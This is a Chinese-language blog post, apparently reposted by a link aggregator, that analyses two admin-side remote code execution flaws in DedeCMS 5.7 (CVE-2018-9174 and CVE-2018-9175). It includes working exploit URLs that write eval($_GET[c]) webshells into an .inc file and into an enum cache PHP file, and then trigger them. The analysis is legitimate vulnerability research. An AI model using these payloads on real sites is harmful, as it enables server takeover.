10

DedeCMS 5.7 后台两处RCE漏洞分析

 2 years ago
source link: http://ultramangaia.github.io/blog/2018/DedeCMS5-7%E5%90%8E%E5%8F%B0%E4%B8%A4%E5%A4%84Getshell%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

第一处(cve-2018-9174)

基本原理是语句写入 inc 文件中,然后包含进来。

首先,我们需要找到一个写文件的地方,我的理解 inc 文件是对include file 的缩写,所以如果能够控制写入的这个文件内容,一般能够找到include它的地方。

跟进去文件,uploads/dede/sys_verifies.php

这里我们就要想办法往里写php代码,看到输出点有双引号包围,需要闭合。

知道dedecms有个全局注册变量,

uploads\include\common.inc.php

其中会将字符串里面的" 替换为\"

所以,我们可以构造

http://mydedecms.com/dede/sys_verifies.php?action=getfiles&refiles[]=12%22;eval($_GET[c]);die();//

到达substr那里

12\";eval($_GET[c]);die();//

";eval($_GET[c]);die();//

最终写入文件

\uploads\data\modifytmp.inc

任意找到一个includemodifytmp.inc文件的地方。

原来那文件就有调用。

/uploads/dede/sys_verifies.php

所以,可以直接访问shell

http://mydedecms.com/dede/sys_verifies.php?action=down&c=phpinfo();

这种利用方法是https://xz.aliyun.com/t/2237中介绍的,利用了substr

OK,容易找到另外的利用方式。

注意到是双引号闭合。

Great!

我们不用闭合双引号,可以用可变变量来达到代码执行。

访问如下链接。

http://mydedecms.com/dede/sys_verifies.php?action=getfiles&refiles[]=123${${eval($_GET[c])}}

写入的文件如下

访问如下链接

http://mydedecms.com/dede/sys_verifies.php?action=down&c=phpinfo();

POC/EXP

看到执行了phpinfo()

第二处(cve-2018-9175)

基本原理是语句写入数据库,从数据库中取值,输出到 php文件中。

\uploads\dede\sys_cache_up.php

直接从数据库中取数据后写入到文件中。

找到一个写入该数据表的地方

/uploads/dede/stepselect_main.php

OK,有意思的是,插入数据库后,底下就执行了更新缓存,所以,插入数据库和写入缓存文件可以通过访问一个链接达到,构造访问如下链接

http://mydedecms.com/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1

此时向数据库中添加了数据

此时,缓存文件

uploads/data/enums/;phpinfo();$.php

然后,访问之,链接为

http://mydedecms.com/data/enums/;phpinfo();$.php

POC/EXP

  • 访问链接写入数据库,写入缓存文件

    http://mydedecms.com/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1
  • 访问缓存文件

    http://mydedecms.com/data/enums/;phpinfo();$.php
  • 访问链接写入数据库,写入缓存文件

    http://mydedecms.com/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;eval($_GET[c]);$&issign=1
  • 访问缓存文件

    http://mydedecms.com/data/enums/;eval($_GET[c]);$.php?c=phpinfo();

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9175

https://xz.aliyun.com/t/2237


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至[email protected]


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK